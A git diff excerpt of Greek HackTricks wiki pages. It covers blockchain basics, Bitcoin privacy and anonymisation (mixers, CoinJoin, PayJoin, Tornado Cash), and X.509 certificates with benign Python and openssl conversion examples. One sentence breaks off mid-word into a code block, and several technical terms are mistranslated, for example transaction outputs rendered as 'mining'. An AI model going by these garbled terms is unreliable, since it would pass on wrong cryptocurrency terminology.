* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
## Βασικές Έννοιες
|
||||||
|
|
||||||
|
- Τα **Έξυπνα Συμβόλαια** ορίζονται ως προγράμματα που εκτελούνται σε ένα blockchain όταν πληρούνται συγκεκριμένες συνθήκες, αυτοματοποιώντας την εκτέλεση συμφωνιών χωρίς ενδιάμεσους.
|
||||||
|
- Οι **Αποκεντρωμένες Εφαρμογές (dApps)** βασίζονται σε έξυπνα συμβόλαια, παρέχοντας ένα φιλικό προς τον χρήστη μπροστινό μέρος και ένα διαφανές, ελεγχόμενο πίσω μέρος.
|
||||||
|
- Τα **Κέρματα & Νομίσματα** διαφοροποιούνται, όπου τα νομίσματα λειτουργούν ως ψηφιακά χρήματα, ενώ τα κέρματα αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα πλαίσια.
|
||||||
|
- Τα **Χρησιμότητας Κέρματα** παρέχουν πρόσβαση σε υπηρεσίες, και τα **Ασφαλείας Κέρματα** υποδηλώνουν την ιδιοκτησία του περιουσιακού στοιχείου.
|
||||||
|
- Το **DeFi** σημαίνει Αποκεντρωμένη Χρηματοπιστωτική, προσφέροντας χρηματοπιστωτικές υπηρεσίες χωρίς κεντρικές αρχές.
|
||||||
|
- Τα **DEX** και **DAOs** αναφέρονται σε Πλατφόρμες Αποκεντρωμένων Ανταλλαγών και Αποκεντρωμένων Αυτόνομων Οργανισμών, αντίστοιχα.
|
||||||
|
|
||||||
|
## Μηχανισμοί Συναίνεσης
|
||||||
|
|
||||||
|
Οι μηχανισμοί συναίνεσης εξασφαλίζουν ασφαλείς και συμφωνημένες επικυρώσεις συναλλαγών στο blockchain:
|
||||||
|
- Η **Απόδειξη Εργασίας (PoW)** βασίζεται στην υπολογιστική ισχύ για την επαλήθευση των συναλλαγών.
|
||||||
|
- Η **Απόδειξη Συμμετοχής (PoS)** απαιτεί από τους επαληθευτές να κατέχουν ένα συγκεκριμένο ποσό κερμάτων, μειώνοντας την κατανάλωση ενέργειας σε σύγκριση με την PoW.
|
||||||
|
|
||||||
|
## Βασικά Στοιχεία του Bitcoin
|
||||||
|
|
||||||
|
### Συναλλαγές
|
||||||
|
|
||||||
|
Οι συναλλαγές Bitcoin περιλαμβάνουν τη μεταφορά κεφαλαίων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, εξασφαλίζοντας ότι μόνο ο κάτοχος του ιδιωτικού κλειδιού μπορεί να προβεί σε μεταφορές.
|
||||||
|
|
||||||
|
#### Βασικά Στοιχεία:
|
||||||
|
|
||||||
|
- Οι **Πολυώροφες Συναλλαγές** απαιτούν πολλαπλές υπογραφές για να εξουσιοδοτήσουν μια συναλλαγή.
|
||||||
|
- Οι συναλλαγές αποτελούνται από **εισροές** (πηγή κεφαλαίων), **εξορύξεις** (προορισμός), **τέλη** (πληρώνονται στους εξορύκτες) και **σενάρια** (κανόνες συναλλαγής).
|
||||||
|
|
||||||
|
### Δίκτυο Lightning
|
||||||
|
|
||||||
|
Στοχεύει στη βελτίωση της κλιμάκωσης του Bitcoin επιτρέποντας πολλαπλές συναλλαγές μέσα σε ένα κανάλι, μεταδίδοντας μόνο την τελική κατάσταση στο blockchain.
|
||||||
|
|
||||||
|
## Ανησυχίες Απορρήτου του Bitcoin
|
||||||
|
|
||||||
|
Οι επιθέσεις απορρήτου, όπως η **Κοινή Ιδιοκτησία Εισόδου** και η **Ανίχνευση Διεύθυνσης Αλλαγής UTXO**, εκμεταλλεύονται τα πρότυπα των συναλλαγών. Στρατηγικές όπως οι **Ανακατασκευαστές** και το **CoinJoin** βελτιώνουν την ανωνυμία κρύβοντας τις συνδέσεις των συναλλαγών μεταξύ των χρηστών.
|
||||||
|
|
||||||
|
## Απόκτηση Bitcoins Ανώνυμα
|
||||||
|
|
||||||
|
Οι μέθοδοι περιλαμβάνουν τις μετατροπές μετρητών, τον εξορυκτήριο και τη χρήση ανακατασκευαστών. Το **CoinJoin** ανακατεύει πολλαπλές συναλλαγές για να περιπλέξει την ανιχνευσιμότητα, ενώ το **PayJoin** μεταμφιέ
|
||||||
|
```bash
|
||||||
|
2 btc --> 4 btc
|
||||||
|
3 btc 1 btc
|
||||||
|
```
|
||||||
|
## **Εξαναγκασμένη Επαναχρησιμοποίηση Διευθύνσεων**
|
||||||
|
|
||||||
|
Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα συνδυάσει αυτά με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι τις διευθύνσεις μεταξύ τους.
|
||||||
|
|
||||||
|
### Σωστή Συμπεριφορά Πορτοφολιού
|
||||||
|
Τα πορτοφόλια πρέπει να αποφεύγουν τη χρήση κερμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να αποτρέψουν αυτήν τη διαρροή απορρήτου.
|
||||||
|
|
||||||
|
## **Άλλες Τεχνικές Ανάλυσης Αλυσίδας Μπλοκ**
|
||||||
|
|
||||||
|
- **Ακριβή Ποσά Πληρωμής:** Οι συναλλαγές χωρίς αλλαγή πιθανότατα είναι μεταξύ δύο διευθύνσεων που ανήκουν στον ίδιο χρήστη.
|
||||||
|
- **Στρογγυλοί Αριθμοί:** Ένας στρογγυλός αριθμός σε μια συναλλαγή υποδηλώνει ότι είναι μια πληρωμή, με τη μη στρογγυλή έξοδο να είναι πιθανότατα η αλλαγή.
|
||||||
|
- **Αναγνώριση Πορτοφολιού:** Διάφορα πορτοφόλια έχουν μοναδικά πρότυπα δημιουργίας συναλλαγών, επιτρέποντας στους αναλυτές να αναγνωρίσουν το λογισμικό που χρησιμοποιήθηκε και πιθανώς τη διεύθυνση αλλαγής.
|
||||||
|
- **Συσχετίσεις Ποσού & Χρονικού Πλαισίου:** Η αποκάλυψη των χρόνων ή των ποσών συναλλαγής μπορεί να καταστήσει τις συναλλαγές ιχνηλατήσιμες.
|
||||||
|
|
||||||
|
## **Ανάλυση Κίνησης**
|
||||||
|
|
||||||
|
Μέσω της παρακολούθησης της κίνησης του δικτύου, οι επιτιθέμενοι μπορούν πιθανώς να συνδέσουν συναλλαγές ή μπλοκ με διευθύνσεις IP, παραβιάζοντας την ιδιωτικότητα των χρηστών. Αυτό ισχύει ιδιαίτερα αν μια οντότητα λειτουργεί πολλούς κόμβους Bitcoin, ενισχύοντας έτσι τη δυνατότητά της να παρακολουθεί τις συναλλαγές.
|
||||||
|
|
||||||
|
## Περισσότερα
|
||||||
|
Για μια εκτενή λίστα επιθέσεων και αμυντικών μέτρων απορρήτου, επισκεφθείτε το [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||||
|
|
||||||
|
|
||||||
|
# Ανώνυμες Συναλλαγές Bitcoin
|
||||||
|
|
||||||
|
## Τρόποι Απόκτησης Bitcoins Ανώνυμα
|
||||||
|
|
||||||
|
- **Συναλλαγές με Μετρητά**: Απόκτηση bitcoin μέσω μετρητά.
|
||||||
|
- **Εναλλακτικές Μετρητά**: Αγορά καρτών δώρου και ανταλλαγή τους online για bitcoin.
|
||||||
|
- **Εξόρυξη**: Ο πιο ιδιωτικός τρόπος για να κερδίσετε bitcoins είναι μέσω της εξόρυξης, ειδικά όταν γίνεται ατομικά, επειδή οι ομάδες εξόρυξης μπορεί να γνωρίζουν τη διεύθυνση IP του εξορύκτη. [Πληροφορίες για Ομάδες Εξόρυξης](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||||
|
- **Κλοπή**: Θεωρητικά, η κλοπή bitcoin μπορεί να είναι ένας άλλος τρόπος απόκτησής του ανώνυμα, αν και είναι παράνομο και δεν συνιστάται.
|
||||||
|
|
||||||
|
## Υπηρεσίες Ανάμειξης
|
||||||
|
|
||||||
|
Χρησιμοποιώντας μια υπηρεσία ανάμειξης, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins ως αντάλλαγμα**, κάτι που δυσκολεύει την ανιχνευσιμότητα του αρχικού κατόχου. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία να μην κρατάει καταγραφές και να επιστρέφει πραγματικά τα bitcoins. Εναλλακτικές επιλογές ανάμειξης περιλαμβάνουν τα Bitcoin καζίνο.
|
||||||
|
|
||||||
|
## CoinJoin
|
||||||
|
|
||||||
|
Το **CoinJoin** συγχωνεύει πολλαπλές συναλλαγές από διάφορους χρήστες σε μία, δυσκολεύοντας τη διαδικασία για οποιονδήποτε προσπαθεί να ταιριάξει τις εισροές με τις εξόδους. Παρόλη την αποτελεσματικότητά του, συναλλαγές με μοναδικούς μεγέθους εισόδου και εξόδου μπορούν ακόμα να ανιχνευθούν.
|
||||||
|
|
||||||
|
Παραδείγματα συναλλαγών που μπορεί να έχουν χρησιμοποιήσει το CoinJoin περιλαμβάνουν τις `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||||
|
|
||||||
|
Για περισσότερες πληροφορίες, επισκεφθείτε το [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, ανατρέξτε στο [Tornado Cash](https://tornado.cash), το οποίο ανωνυμοποιεί συναλλαγές με κεφάλαια από τους εξορύκτες.
|
||||||
|
|
||||||
|
## PayJoin
|
||||||
|
|
||||||
|
Μια παραλλαγή του CoinJoin, το **PayJoin** (ή P2EP), μεταμφιέζει τη συναλλαγή μεταξύ δύο μερών (π.χ. ένας πελάτης και ένας εμπόρος) ως μια κανονική συναλλαγή, χωρίς το χαρακτηριστικό των ίσων εξόδων που έχει το CoinJoin. Αυτό το καθιστά εξαιρετικά δύσκολο να ανιχνευθεί και μπορεί να ακυρώσει τον κοινό-κοινή-είσοδο-ιδιοκτησίας ευρετήριο που χρησιμοποιούν οντότητες παρακολούθησης συναλλαγών.
|
||||||
|
```plaintext
|
||||||
|
2 btc --> 3 btc
|
||||||
|
5 btc 4 btc
|
||||||
|
```
|
||||||
|
Συναλλαγές όπως η παραπάνω μπορεί να είναι PayJoin, βελτιώνοντας την ιδιωτικότητα ενώ παραμένει αδιάκριτη από τις κανονικές συναλλαγές Bitcoin.
|
||||||
|
|
||||||
|
**Η χρήση του PayJoin μπορεί να διαταράξει σημαντικά τις παραδοσιακές μεθόδους παρακολούθησης**, καθιστώντας το μια ελπιδοφόρα εξέλιξη στην προσπάθεια για την ιδιωτικότητα των συναλλαγών.
|
||||||
|
|
||||||
|
# Καλές Πρακτικές για την Ιδιωτικότητα στις Κρυπτονομίσματα
|
||||||
|
|
||||||
|
## **Τεχνικές Συγχρονισμού Πορτοφολιών**
|
||||||
|
|
||||||
|
Για τη διατήρηση της ιδιωτικότητας και της ασφάλειας, ο συγχρονισμός των πορτοφολιών με το blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν:
|
||||||
|
|
||||||
|
- **Πλήρης κόμβος**: Με το να κατεβάζει ολόκληρο το blockchain, ένας πλήρης κόμβος εξασφαλίζει μέγιστη ιδιωτικότητα. Όλες οι ποτέ γίνονται συναλλαγές αποθηκεύονται τοπικά, καθιστώντας αδύνατο για τους αντιπάλους να αναγνωρίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρουν τον χρήστη.
|
||||||
|
- **Φιλτράρισμα μπλοκ από την πλευρά του πελάτη**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε μπλοκ στο blockchain, επιτρέποντας στα πορτοφόλια να αναγνωρίζουν σχετικές συναλλαγές χωρίς να αποκαλύπτουν συγκεκριμένα ενδιαφέροντα στους παρατηρητές του δικτύου. Τα ελαφριά πορτοφόλια κατεβάζουν αυτά τα φίλτρα, κατεβάζοντας μόνο τα πλήρη μπλοκ όταν βρεθεί αντιστοιχία με τις διευθύνσεις του χρήστη.
|
||||||
|
|
||||||
|
## **Χρήση του Tor για Ανωνυμία**
|
||||||
|
|
||||||
|
Δεδομένου ότι το Bitcoin λειτουργεί σε ένα δίκτυο από ομότιμους κόμβους, συνιστάται η χρήση του Tor για να αποκρύψετε τη διεύθυνση IP σας, βελτιώνοντας την ιδιωτικότητα κατά την αλληλεπίδραση με το δίκτυο.
|
||||||
|
|
||||||
|
## **Αποτροπή Επαναχρησιμοποίησης Διευθύνσεων**
|
||||||
|
|
||||||
|
Για τη διασφάλιση της ιδιωτικότητας, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να απειλήσει την ιδιωτικότητα συνδέοντας τις συναλλαγές με τον ίδιο φορέα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους.
|
||||||
|
|
||||||
|
## **Στρατηγικές για την Ιδιωτικότητα των Συναλλαγών**
|
||||||
|
|
||||||
|
- **Πολλαπλές συναλλαγές**: Η διαίρεση μιας πληρωμής σε πολλαπλές συναλλαγές μπορεί να αποκρύψει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις στην ιδιωτικότητα.
|
||||||
|
- **Αποφυγή αλλαγής**: Η επιλογή συναλλαγών που δεν απαιτούν αλλαγή εξασφαλίζει την ιδιωτικότητα διαταράσσοντας τις μεθόδους ανίχνευσης αλλαγής.
|
||||||
|
- **Πολλαπλές αλλαγές εξόδων**: Εάν η αποφυγή της αλλαγής δεν είναι εφικτή, η δημιουργία πολλαπλών αλλαγών εξόδων μπορεί να βελτιώσει την ιδιωτικότητα.
|
||||||
|
|
||||||
|
# **Monero: Ένα Φάρος της Ανωνυμίας**
|
||||||
|
|
||||||
|
Το Monero αντιμετωπίζει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας υψηλά πρότυπα για την ιδιωτικότητα.
|
||||||
|
|
||||||
|
# **Ethereum: Gas και Συναλλαγές**
|
||||||
|
|
||||||
|
## **Κατανόηση του Gas**
|
||||||
|
|
||||||
|
Το Gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογούμενο σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2.310.000 gwei (ή 0,00231 ETH) περιλαμβάνει ένα όριο gas και μια βασική χρέωση, με ένα φιλί για να ενθαρρύνει τους εξορύκτες. Οι χρήστες μπορούν να ορίσουν ένα μέγιστο τέλος για να διασφαλίσουν ότι δεν πληρώνουν υπερβολικά, με την επιστροφή του υπερβάλλοντος ποσού.
|
||||||
|
|
||||||
|
## **Εκτέλεση Συναλλαγών**
|
||||||
|
|
||||||
|
Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, οι οποίοι μπορεί να είναι είτε χρήστες είτε διευθύνσεις έξυπνων συμβολαίων. Απαιτούν μια χρέωση και πρέπει να εξορυχθούν. Τα σημαντικά στοιχεία μιας συναλλαγής περιλαμβάνου
|
189
crypto-and-stego/certificates.md
Normal file
189
crypto-and-stego/certificates.md
Normal file
|
@ -0,0 +1,189 @@
|
||||||
|
# Πιστοποιητικά
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Τι είναι ένα Πιστοποιητικό
|
||||||
|
|
||||||
|
Ένα **πιστοποιητικό δημόσιου κλειδιού** είναι ένα ψηφιακό αναγνωριστικό που χρησιμοποιείται στην κρυπτογραφία για να αποδείξει ότι κάποιος κατέχει ένα δημόσιο κλειδί. Περιλαμβάνει τα στοιχεία του κλειδιού, την ταυτότητα του ιδιοκτήτη (το θέμα) και μια ψηφιακή υπογραφή από μια αξιόπιστη αρχή (ο εκδότης). Εάν το λογισμικό εμπιστεύεται τον εκδότη και η υπογραφή είναι έγκυρη, είναι δυνατή η ασφαλής επικοινωνία με τον ιδιοκτήτη του κλειδιού.
|
||||||
|
|
||||||
|
Τα πιστοποιητικά εκδίδονται κυρίως από [αρχές πιστοποίησης](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) σε ένα σύστημα [υποδομής δημόσιου κλειδιού](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Ένας άλλος τρόπος είναι το [δίκτυο εμπιστοσύνης](https://en.wikipedia.org/wiki/Web\_of\_trust), όπου οι χρήστες επαληθεύουν απευθείας τα κλειδιά τους. Η κοινή μορφή για τα πιστοποιητικά είναι το [X.509](https://en.wikipedia.org/wiki/X.509), το οποίο μπορεί να προσαρμοστεί για συγκεκριμένες ανάγκες, όπως περιγράφεται στο RFC 5280.
|
||||||
|
|
||||||
|
## Κοινά Πεδία x509
|
||||||
|
|
||||||
|
### **Κοινά Πεδία στα Πιστοποιητικά x509**
|
||||||
|
|
||||||
|
Στα πιστοποιητικά x509, διάφορα **πεδία** παίζουν κρίσιμο ρόλο για τη διασφάλιση της εγκυρότητας και της ασφάλειας του πιστοποιητικού. Εδώ υπάρχει μια ανάλυση αυτών των πεδίων:
|
||||||
|
|
||||||
|
* Ο **Αριθμός Έκδοσης** υποδηλώνει την έκδοση της μορφής x509.
|
||||||
|
* Ο **Σειριακός Αριθμός** ταυτοποιεί μοναδικά το πιστοποιητικό εντός του συστήματος μιας Αρχής Πιστοποίησης (CA), κυρίως για την παρακολούθηση ανάκλησης.
|
||||||
|
* Το πεδίο **Θέμα** αντιπροσωπεύει τον ιδιοκτήτη του πιστοποιητικού, ο οποίος μπορεί να είναι μια μηχανή, ένα άτομο ή μια οργάνωση. Περιλαμβάνει λεπτομερείς ταυτοποιήσεις όπως:
|
||||||
|
* **Κοινό Όνομα (CN)**: Τομείς που καλύπτονται από το πιστοποιητικό.
|
||||||
|
* **Χώρα (C)**, **Τοποθεσία (L)**, **Πολιτεία ή Επαρχία (ST, S, ή P)**, **Οργανισμός (O)**, και **Μονάδα Οργάνωσης (OU)** παρέχουν γεωγραφικές και οργανωτικές λεπτομέρειες.
|
||||||
|
* Το **Διακεκριμένο Όνομα (DN)** ενθυλακώνει την πλήρη ταυτοποίηση του θέματος.
|
||||||
|
* Ο **Εκδότης** λεπτομερείς ποιος επικύρωσε και υπέγραψε το πιστοποιητικό, περιλαμβάνοντας παρόμοια υποπεδία με το Θέμα για την ΑΠ.
|
||||||
|
* Η **Περίοδος Εγκυρότητας** σημειώνεται από τις χρονικές σφραγίδες **Μην Πριν** και **Μη Μετά**, εξασφαλίζοντας ότι το πιστοποιητικό δεν χρησιμοποιείται πριν ή μετά από μια συγκεκριμένη ημερομηνία.
|
||||||
|
* Η ενότητα **Δημόσιο Κλειδί**, κρίσιμη για την ασφάλεια του πιστοποιητικού, καθορίζει τον αλγόριθμο, το μέγεθος και άλλες τεχνικές λεπτομέρειες του δημόσιου κλειδιού.
|
||||||
|
* Οι επεκτάσεις **x509v3** ενισχύουν τη λειτουργικότητα του πιστοποιητικού, καθορίζοντας τις **Χρήσεις Κλειδιού**, τις **Επεκταμένες Χρήσεις Κλειδιού**, τα **Εναλλακτικά Ονόματα Θέματος**, και άλλες ιδιότητες για να ρυθμίσουν την εφαρμογή του πιστοποιητικού.
|
||||||
|
|
||||||
|
#### **Χρήση Κλειδιού και Επεκτάσεις**
|
||||||
|
|
||||||
|
* Η **Χρήση Κλειδιού** αναγνωρίζει τις κρυπτογραφικές εφαρμογές του δημόσιου κλειδιού, όπως η ψηφιακή υπογραφή ή η κρυπτογράφηση κλειδιού.
|
||||||
|
* Η **Επεκταμένη Χρήση Κλειδιού** στενεύει περαιτέρω τις περιπτώσεις χρήσης του πιστοποιητικού, π.χ. για την επαλήθευση του διακομιστή TLS.
|
||||||
|
* Το **Εναλλακτικό Όνομα Θέματος** και η **Βασική Περιοριστική Συνθήκη** καθορίζουν επιπλέον ονόματα υποδομών που καλύπτονται από το πιστοποιητικό και εάν είναι πιστοποιητικό CA ή οντότητας τέλους, αντίστοιχα.
|
||||||
|
* Οι αναγνωριστές όπως το **Αναγνωριστικό Κλειδιού Θέματος** και το **Αναγνωριστικό Κλειδιού Αρχής** εξασφαλίζουν τη μοναδικότητα και την εντοπισιμότητα των κλειδιών.
|
||||||
|
* Τα **Στοιχεία Πρόσβασης Αρχής** και τα **Σημεία Διανομής Καταλόγου Ανάκλησης** παρέχουν διαδρομές για την επαλήθευση της εκδίδουσας ΑΠ και τον έλεγχο της κατάστασης ανάκλησης του πιστοποιητικού.
|
||||||
|
* Τα **CT Precertificate SCTs** προσφέρουν διαφανείς καταγραφές, ουσιώδεις για τη δημόσια εμπιστοσύνη στο πιστοποιητικό.
|
||||||
|
```python
|
||||||
|
# Example of accessing and using x509 certificate fields programmatically:
|
||||||
|
from cryptography import x509
|
||||||
|
from cryptography.hazmat.backends import default_backend
|
||||||
|
|
||||||
|
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||||
|
with open("cert.pem", "rb") as file:
|
||||||
|
cert_data = file.read()
|
||||||
|
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||||
|
|
||||||
|
# Accessing fields
|
||||||
|
serial_number = certificate.serial_number
|
||||||
|
issuer = certificate.issuer
|
||||||
|
subject = certificate.subject
|
||||||
|
public_key = certificate.public_key()
|
||||||
|
|
||||||
|
print(f"Serial Number: {serial_number}")
|
||||||
|
print(f"Issuer: {issuer}")
|
||||||
|
print(f"Subject: {subject}")
|
||||||
|
print(f"Public Key: {public_key}")
|
||||||
|
```
|
||||||
|
### **Διαφορά μεταξύ σημείων διανομής OCSP και CRL**
|
||||||
|
|
||||||
|
**OCSP** (**RFC 2560**) περιλαμβάνει έναν πελάτη και έναν ανταποκρίνοντα που συνεργάζονται για να ελέγξουν εάν ένα ψηφιακό πιστοποιητικό δημόσιου κλειδιού έχει ανακληθεί, χωρίς την ανάγκη να ληφθεί ολόκληρο το **CRL**. Αυτή η μέθοδος είναι πιο αποδοτική από το παραδοσιακό **CRL**, το οποίο παρέχει μια λίστα με τους αριθμούς σειριακής ανάκλησης πιστοποιητικών αλλά απαιτεί τη λήψη ενός ενδεχομένως μεγάλου αρχείου. Τα CRL μπορούν να περιλαμβάνουν έως 512 καταχωρήσεις. Περισσότερες λεπτομέρειες είναι διαθέσιμες [εδώ](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||||
|
|
||||||
|
### **Τι είναι η Διαφάνεια Πιστοποιητικών**
|
||||||
|
|
||||||
|
Η Διαφάνεια Πιστοποιητικών βοηθά στην καταπολέμηση απειλών που σχετίζονται με πιστοποιητικά εξασφαλίζοντας ότι η έκδοση και η ύπαρξη πιστοποιητικών SSL είναι ορατές στους ιδιοκτήτες τομέα, τις Αρχές Πιστοποίησης και τους χρήστες. Οι στόχοι της είναι:
|
||||||
|
|
||||||
|
* Αποτροπή των Αρχών Πιστοποίησης από το να εκδίδουν πιστοποιητικά SSL για έναν τομέα χωρίς τη γνώση του ιδιοκτήτη του τομέα.
|
||||||
|
* Δημιουργία ενός ανοιχτού συστήματος ελέγχου για την παρακολούθηση πιστοποιητικών που έχουν εκδοθεί κατά λάθος ή κακόβουλα.
|
||||||
|
* Προστασία των χρηστών από απάτες με πιστοποιητικά.
|
||||||
|
|
||||||
|
#### **Καταγραφές Πιστοποιητικών**
|
||||||
|
|
||||||
|
Οι καταγραφές πιστοποιητικών είναι δημόσια ελέγξιμες, αναπτυσσόμενες μόνο προς τα εμπρός εγγραφές πιστοποιητικών, διατηρούμενες από υπηρεσίες δικτύου. Αυτές οι καταγραφές παρέχουν κρυπτογραφικές αποδείξεις για λόγους ελέγχου. Τόσο οι αρχές έκδοσης όσο και το κοινό μπορούν να υποβάλλουν πιστοποιητικά σε αυτές τις καταγραφές ή να τις ερευνούν για επαλήθευση. Ενώ ο ακριβής αριθμός των διακομιστών καταγραφής δεν είναι σταθερός, αναμένεται να είναι λιγότεροι από χίλιους παγκοσμίως. Αυτοί οι διακομιστές μπορούν να διαχειρίζονται ανεξάρτητα από Αρχές Πιστοποίησης, παρόχους υπηρεσιών Internet ή οποιοδήποτε ενδιαφερόμενο φορέα.
|
||||||
|
|
||||||
|
#### **Ερώτημα**
|
||||||
|
|
||||||
|
Για να εξερευνήσετε τις καταγραφές Διαφάνειας Πιστοποιητικών για οποιοδήποτε τομέα, επισκεφθείτε το [https://crt.sh/](https://crt.sh).
|
||||||
|
|
||||||
|
## **Μορφές**
|
||||||
|
|
||||||
|
### **Μορφή PEM**
|
||||||
|
|
||||||
|
* Η πιο ευρέως χρησιμοποιούμενη μορφή για πιστοποιητικά.
|
||||||
|
* Απαιτεί ξεχωριστά αρχεία για πιστοποιητικά και ιδιωτικά κλειδιά, κωδικοποιημένα σε Base64 ASCII.
|
||||||
|
* Συνηθισμένες επεκτάσεις: .cer, .crt, .pem, .key.
|
||||||
|
* Χρησιμοποιείται κυρίως από διακομιστές Apache και παρόμοιους.
|
||||||
|
|
||||||
|
### **Μορφή DER**
|
||||||
|
|
||||||
|
* Μια δυαδική μορφή πιστοποιητικών.
|
||||||
|
* Δεν περιλαμβάνει τις δηλώσεις "BEGIN/END CERTIFICATE" που βρίσκονται στα αρχεία PEM.
|
||||||
|
* Συνηθισμένες επεκτάσεις: .cer, .der.
|
||||||
|
* Συχνά χρησιμοποιείται με πλατφόρμες Java.
|
||||||
|
|
||||||
|
### **Μορφή P7B/PKCS#7**
|
||||||
|
|
||||||
|
* Αποθηκεύεται σε Base64 ASCII, με επεκτάσεις .p7b ή .p7c.
|
||||||
|
* Περιλαμβάνει μόνο πιστοποιητικά και αλυσίδες πιστοποιητικών, εξαιρώντας το ιδιωτικό κλειδί.
|
||||||
|
* Υποστηρίζεται από τα Microsoft Windows και Java Tomcat.
|
||||||
|
|
||||||
|
### **Μορφή PFX/P12/PKCS#12**
|
||||||
|
|
||||||
|
* Μια δυαδική μορφή που ενθυλακώνει πιστοποιητικά διακομιστή, ενδιάμεσα πιστοποιητικά και ιδιωτικά κλειδιά σε ένα αρχείο.
|
||||||
|
* Επεκτάσεις: .pfx, .p12.
|
||||||
|
* Χρησιμοποιείται κυρίως σε Windows για εισαγωγή και εξαγωγή πιστοποιητικών.
|
||||||
|
```bash
|
||||||
|
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||||
|
```
|
||||||
|
* **Μετατροπή από PEM σε DER**
|
||||||
|
```bash
|
||||||
|
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||||
|
```
|
||||||
|
* **Μετατροπή από DER σε PEM**
|
||||||
|
```bash
|
||||||
|
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||||
|
```
|
||||||
|
* **Μετατροπή από PEM σε P7B**
|
||||||
|
```bash
|
||||||
|
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||||
|
```
|
||||||
|
* **Μετατροπή από PKCS7 σε PEM**
|
||||||
|
```bash
|
||||||
|
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||||
|
```
|
||||||
|
**Οι μετατροπές PFX** είναι κρίσιμες για τη διαχείριση πιστοποιητικών στα Windows:
|
||||||
|
|
||||||
|
* **PFX σε PEM**
